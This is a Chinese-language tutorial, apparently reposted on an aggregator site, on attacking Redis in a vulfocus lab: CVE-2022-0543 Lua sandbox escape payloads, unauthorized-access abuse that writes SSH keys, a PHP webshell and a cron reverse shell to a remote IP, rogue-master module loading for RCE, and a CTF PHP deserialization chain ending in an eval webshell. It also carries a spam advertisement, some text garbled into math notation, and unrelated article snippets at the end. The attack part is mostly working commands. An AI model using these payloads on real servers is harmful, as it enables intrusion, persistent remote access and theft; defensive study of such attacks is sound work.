数据库攻防学习之Redis

Redis

0x01 redis学习

在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

0x02 环境搭建

这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击手法,需要自己搭建的环境才能成功。

ubuntu 20.04+docker

docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus

建议vulfocus最好搭建在云服务器上,本机搭建的有的环境可能会复现不成功。

0x03漏洞复现
Redis Lua沙盒绕过 命令执行 CVE-2022-0543

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意
Lua
功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意
Lua 功能

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

代码如下

local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");local io = io_l();local f = io.popen("id", "r");local res = f:read("*a");f:close();return res

payload如下

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0

漏洞复现

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0

这里可以用another redis 这个个管理工具,方便redis数据库使用

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0

未授权访问redis 未授权访问 (CNVD-2015-07557)

这个未授权访问存在很多,而且面试也很常问,实战也能遇见到。

攻击姿势常见有三种,1写入公钥,2写入webshell,3写入计划任务,当然其中有不少细节,我们需要去掌握。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

1.linux写入公钥

利用前提 Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsacd /root/.ssh/(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txtcat key.txt | redis-cli -h 目标IP -x set xxx

这里权限不够,这个是vulfocus有问题

满足条件的话可以直接这样,可以自己搭建一个redis环境做实验

具体搭建可参考

https://blog.csdn.net/qq_41210745/article/details/103305262

yes要改成no

环境启动,接着

config set dir /root/.ssh/config set dbfilename authorized_keyssavecd /root/.ssh/ssh -i id_rsa root@目标IP

已经成功写入

进入该ubuntu查看 cd /root/.ssh/

尝试SSH连接

ssh -i id_rsa root@192.168.48.133

可以看到成功拿下

2.写入webshell

前提条件,有可写权限,存在web服务,知道web路径

继续用该环境下尝试webshell写入

命令如下

FLUSHALL 使用这个清空之前的配置

前提条件,web目录可以读写

config set dir /tmp 设置WEB写入目录config set dbfilename test.php 设置写入文件名set test "<?php phpinfo();?>" 设置写入文件代码set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
换行防止执行失败bgsave 保存执行savechmod -R 777 /var/www/html/

这里设置html尝试写入webshell

3.写计划任务反弹shell

FLUSHALL 记得清空配置

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

环境依然是上面的配置环境

config set dir /var/spool/cronset yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"config set dbfilename xsaveset yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"

注意:

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

可以看到有乱码,ubuntu并未正常执行

主从复制利用

https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell

https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行

redis-rogue-serve

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
IPpython3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132

redis-rogue-getshell

这里记得要编译

cd RedisModulesSDK/makepython3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"

实际情况中我们可以灵活运用exp.so文件,不一定非得用脚本,比如这种情况

天翼杯

考点反序列化,redis主从复制RCE代码

<?phpclass a{public $code = "";function __call($method,$args){eval($this->code);}// function __wakeup(){// $this->code = "";// }}class b{function __destruct(){echo $this->a->a();}}$a=new A();$b=new B();$a->code="phpinfo();";$b->a=$a;echo
serialize($b);

构造POP链子,可以看到call魔术方法里面有eval函数,那么需要构造链子触发到call魔术方法。

__call():当调用对象中不存在的方法会自动调用该方法__wakeup()当使用unserialize()反序列化一个对象后,会自动调用该对象的__wakeup方法

这里__destruct方法调用了一个不存在的a方法,那么会调用到__call方法

因为__wakeup方法中 t h i s − > c o d e = " " ; 还有 p r e g m a t c h a l l ( ′ / " [ B A ] " : ( . ∗ ? ) : / s ′ , this->code = "";还有preg_match_all('/"[BA]":(.*?):/s', this>code="";还有pregmatchall(/"[BA]":(.?):/s,_REQUEST[‘poc’],$ret);这里有过滤,所以接下来要做到绕过__wakeup和正则,这里利用__wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,其中__wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。

如下O:1:“b”:1:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}绕过wakeupO:1:“b”:2:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}

这里无法执行system(“ls”)

蚁剑连接 a − > c o d e = " e v a l ( a->code="eval( a>code="eval(_POST[“a”]);";

打开之后发现其泄露了redis的密码define(“REDIS_PASS”,“you_cannot_guess_it”);蚁剑插件连接上

使用EXP.so文件

MODULE LOAD /var/www/html/exp.so

然后就可以进行命令执行了

若有收获,就点个赞吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/315463.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从 0 到 1 实现 ReentrantLock

虽然本文的标题是从 0 到 1 实现 ReentrantLock &#xff0c;但是为了方便理解&#xff0c;我们先从一个问题出发&#xff1a;既然系统已经有 synchronized 关键字了&#xff0c;那么为什么还会出现 ReentrantLock 这种代码层面的锁? 这就要先回顾一下历史了&#xff1a;在 J…

2024年01月IDE流行度最新排名

点击查看最新IDE流行度最新排名&#xff08;每月更新&#xff09; 2024年01月IDE流行度最新排名 顶级IDE排名是通过分析在谷歌上搜索IDE下载页面的频率而创建的 一个IDE被搜索的次数越多&#xff0c;这个IDE就被认为越受欢迎。原始数据来自谷歌Trends 如果您相信集体智慧&am…

2023年12月Scratch等级考试(四级)真题试卷

2023年12月Scratch等级考试&#xff08;四级&#xff09;真题试卷 题目总数&#xff1a;24 总分数&#xff1a;100 选择题 第 1 题 单选题 Scratch运行下列程序&#xff0c;输入“abcdef”&#xff0c;程序结束后&#xff0c;变量“字符串”是&#xff1f;&#xff0…

2023年中国充电桩激增89万!但布局不够完善,提升潜力大

随着我国充电基础设施的快速发展&#xff0c;2023年的统计数据为我们描绘了一个令人振奋的画面&#xff1a;1-11月间&#xff0c;公共充电桩数量激增89万个&#xff0c;同比去年同期增速高达50%。私人桩的增长同样惊人&#xff0c;较2022年底增长242万个&#xff0c;同比去年同…

探秘HyperLogLog:Redis中的基数统计黑科技

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 探秘HyperLogLog&#xff1a;Redis中的基数统计黑科技 前言HyperLogLog简介基数和基数统计的重要性HyperLogLog的历史和革命性 HyperLogLog的工作原理哈希函数线性计数与对数计数HyperLogLog的核心算法…

Python 数据库(一):使用 mysql-connector-python 操作 MySQL 数据库

大家好&#xff0c;我是水滴~~ 当涉及到使用 Python 操作 MySQL 数据库时&#xff0c;mysql-connector-python 库是一个强大而常用的选择。该库提供了与 MySQL 数据库的交互功能&#xff0c;使您能够执行各种数据库操作&#xff0c;如连接数据库、执行查询和插入数据等。在本文…

DevOps成熟度评估模型

什么是DevOps 随着敏捷软件方法的广泛采用&#xff0c;以及IT基础设施即程序代码的管理方式的推广&#xff0c;DevOps也应运而生了。 DevOps 是通过人、流程和技术的有机整合&#xff0c;以协作、自动化、精益、度量和共享文化为指引&#xff0c;旨在建立一种可以快速交付价值…

1207. 大臣的旅费(dfs求树的直径/图论)

题目&#xff1a; 1207. 大臣的旅费 - AcWing题库 思路&#xff1a; dfs求树的直径。 代码&#xff1a; #include<iostream> #include<cstdio> #include<vector> using namespace std; const int N100100; struct Edge//边的id以及长度 {int id,w; };ve…

Android静态代码检查及自定义Lint实现

概述 在日常的项目开发迭代中&#xff0c;相信每个人对与代码质量都是有着高要求的。但是&#xff0c;在所有事情中&#xff0c;人往往就是其中最大的变量因素&#xff0c;个人各异&#xff0c;如何去保障代码质量以及统一规范呢&#xff1f;开发团队也许会严格要求Code-Review…

1.2 作业

spi.h #ifndef __SPI_H__ #define __SPI_H__#include "stm32mp1xx_gpio.h" #include "stm32mp1xx_rcc.h" // MOSI对应的引脚输出高低电平的信号PE14 #define MOSI_OUTPUT_H() do{GPIOE->ODR | (0x1 << 14);}while(0) #define MOSI_OUTPUT_L…

嵌入式ARM作业5

作业要求&#xff1a;实现数码管不同位显示不同的数字 spi.c #include "spi.h"void delay_us1(unsigned int us) {int i,j;for(i 0; i < us;i)for (j 0; j < 1;j); }void SPI_init(void) {RCC->MP_AHB4ENSETR | (0x1 << 4);// MOSI PE14 GPIOE…

SpringIOC之support模块ConversionServiceFactoryBean

博主介绍&#xff1a;✌全网粉丝5W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面有丰富的经验…